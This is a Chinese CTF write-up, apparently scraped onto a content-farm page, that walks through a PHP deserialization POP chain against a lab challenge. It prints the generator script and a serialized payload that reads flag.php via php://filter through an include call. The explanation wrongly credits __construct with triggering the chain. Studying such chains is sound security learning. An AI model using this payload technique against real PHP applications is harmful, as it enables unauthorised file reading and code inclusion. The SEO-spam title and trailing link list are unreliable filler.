当前位置: 首页 > wzjs >正文

php创建网页优化大师app下载

php创建网页,优化大师app下载,上海百度推广,flash做网站的流程本题考点:php反序列化的pop链 首先来了解一下pop链是什么,它类似于多米诺骨牌一环套一环,要调用这个成员方法然后去找能调用这个方法的魔术方法,最后一环接一环,完成一个链子,最终形成payload。 那么来了解一下这些魔术方法 __construct() //类的构造函数&#xff0…

本题考点:php反序列化的pop链

首先来了解一下pop链是什么,它类似于多米诺骨牌一环套一环,要调用这个成员方法然后去找能调用这个方法的魔术方法,最后一环接一环,完成一个链子,最终形成payload。

那么来了解一下这些魔术方法

__construct()            //类的构造函数,创建对象时触发(new 对象())
__destruct()             //类的析构函数,对象被销毁时触发(调用完后就会触发)(反序列化调用对象时也会触发)
__call()                 //在对象上下文中调用不可访问的方法时触发
__callStatic()           //在静态上下文中调用不可访问的方法时触发
__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set()                  //在给不可访问属性赋值时触发
__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发
__unset()                //在不可访问的属性上使用unset()时触发
__invoke()               //当尝试以调用函数的方式调用一个对象时触发(当对象以class名()输出时会触发)
__sleep()                //执行serialize()时,先会调用这个方法
__wakeup()               //执行unserialize()时,先会调用这个方法
__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)

好那么看题

​
Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(__FILE__);}​

首先看有危害的地方,如:eval,assert,system,include等危险函数,本题有危害的地方是

 public function append($value){

        include($value);

    }

这里定义了一个参数可以包含文件,而本题开头也有提示,flag在flag.php里面。

那么接下来找哪里调用了这个方法

    public function __invoke(){

        $this->append($this->var);

    }

可以看到invoke()这个魔术方法调用了append方法,那么如何触发(当对象被当作函数触发时)也就是类名加上(),

找下一环怎么才能让对象被当作函数触发

class Test{

    public $p;

    public function __construct(){

        $this->= array();

    }

    public function __get($key){

        $function $this->p;

        return $function();

    }

}

这里最后如果把p传入一个append的对象Modifier,那么最后会返回Modifier(), __construct()(这个方法创建对象或者实例化对象就触发不用理它),那么着重看__get(),这个要调用一个不存在的成员变量来触发,那么下一步就是去找如何才能调用不存在的成员变量

 public function __toString(){

        return $this->str->source;

    }

这里的意思是如果触发__toString(),那么返回str里的source属性,先不用管它为什么同为属性,str就能调用source,这里把它当成了一个对象,那么如果给str赋一个没有source的对象,这不就有不存在的成员变量了嘛,那么可以给str赋值为Test来触发__get方法。这个__toString()的触发方式是把对象当成字符串:

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)

来找一个有echo且能赋值的地方

    public function __construct($file='index.php'){

        $this->source $file;

        echo 'Welcome to '.$this->source."<br>";

    }

这里就能赋值的同时用echo输出,那么给source赋值一个对象就行了,其他两个类都用了,这次就只能用它本身的类Show了,这里是__construct()方法就不用想办法让它触发了,那么一个pop链就完成了,这里我用的是倒推法

__construct-> __toString()->__get()->__invoke()-> append($value)(触发文件包含)

那么就把这些序列化吧,

<?phpclass Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;}class Test{public $p;public function __get($key){$function = $this->p;return $function();}}$a = new Modifier();$b = new Show();$c = new Test();$b->str=$c;$b->source=$b;$c->p=$a;echo serialize($b);?>

这里用php://filter的原因是,只用flag.php是读取不到的。

对了,protected方法有特殊字符占位所以要在变量前输入%00*%00,简单点的方法就是在echo后面加一个urlencode()

最后输出$b也就是show对象的原因是它底下的两个变量都成了另外两个类了,直接输它省事。

Payload:O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}

最后得出flag


文章转载自:

http://TQyjsKl7.rqqct.cn
http://UAU3Xoxd.rqqct.cn
http://vWjTSFF3.rqqct.cn
http://taWdGpep.rqqct.cn
http://pbQul4tP.rqqct.cn
http://3V01AXBG.rqqct.cn
http://MFjST99z.rqqct.cn
http://lRM2KyOS.rqqct.cn
http://uvSO9bC4.rqqct.cn
http://j6WKyyYY.rqqct.cn
http://Uo4jrG4J.rqqct.cn
http://X8HGZnF6.rqqct.cn
http://PQiJbLLd.rqqct.cn
http://wyvJLper.rqqct.cn
http://ee2VxUmM.rqqct.cn
http://I16uHn0k.rqqct.cn
http://nkBvWZsc.rqqct.cn
http://SFp1PyO1.rqqct.cn
http://2OjGh3us.rqqct.cn
http://0kJ3s2ly.rqqct.cn
http://W8pVs3bZ.rqqct.cn
http://SEFJATpA.rqqct.cn
http://wgKSnow6.rqqct.cn
http://kwwvqiCC.rqqct.cn
http://EW8sfRrn.rqqct.cn
http://MDx93HpO.rqqct.cn
http://H3rw2zKS.rqqct.cn
http://y6vGQnv7.rqqct.cn
http://W6I1LD4W.rqqct.cn
http://0iK8Dqxd.rqqct.cn
http://www.dtcms.com/wzjs/766819.html

相关文章:

  • 成都网站搜索排名优化公司wordpress下载弹窗插件
  • 网站优化方案教程家乡网站建设策划书模板
  • 网站框架一般用什么做重庆观音桥有什么好玩的
  • 宁波专业网站制作韩国免费行情网站的推荐理由
  • 桐乡做网站的公司五种人适合做运营
  • 网站前端浏览器兼容如何做网易企业邮箱名称
  • 单页网站怎么做外链wordpress里面主题文档怎么编辑
  • 莱芜都市网二手厦门seo大佬
  • 建站用什么搭建比较好二次开发是什么意思
  • 吐鲁番网站建设陕西建设网站
  • 网站制作 合肥施工程找工程做哪个网站好
  • 微信公众平台网站开发文本文档做网站怎么加图片
  • 网站数据库在空间吗建设部网站公示公告安全
  • 网站建设公司熊掌号大连做网站优化哪家好
  • html5 网站建设h5跳转小程序
  • 商标图案大全图片什么样的网站好优化
  • c 是用来做网站的吗wordpress is archive
  • 分类信息网站系统cms湖南网站建设有限公司
  • 一蓝网站建设定西市建设网站费用
  • 涡阳在北京做网站的名人卖自己做的网站去哪
  • 用python做一旅游网站网站建设的作用是什么意思
  • 垂直门户网站怎么做西安网站制作公司排
  • 开发网站需要注意硬件优化大师
  • 曙光建设有限公司网站建筑网课推荐
  • .net做网站用什么技术自适应网站开发资源
  • 阿里云 个人网站自己怎么做公司网站
  • 免费个人网站模板wordpress侧栏小工具栏
  • 求做网站的那个网站有免费的模板
  • 网站建设hph下载高端网站建设流行风
  • 购物网站哪个东西便宜质量好seo排名优化培训班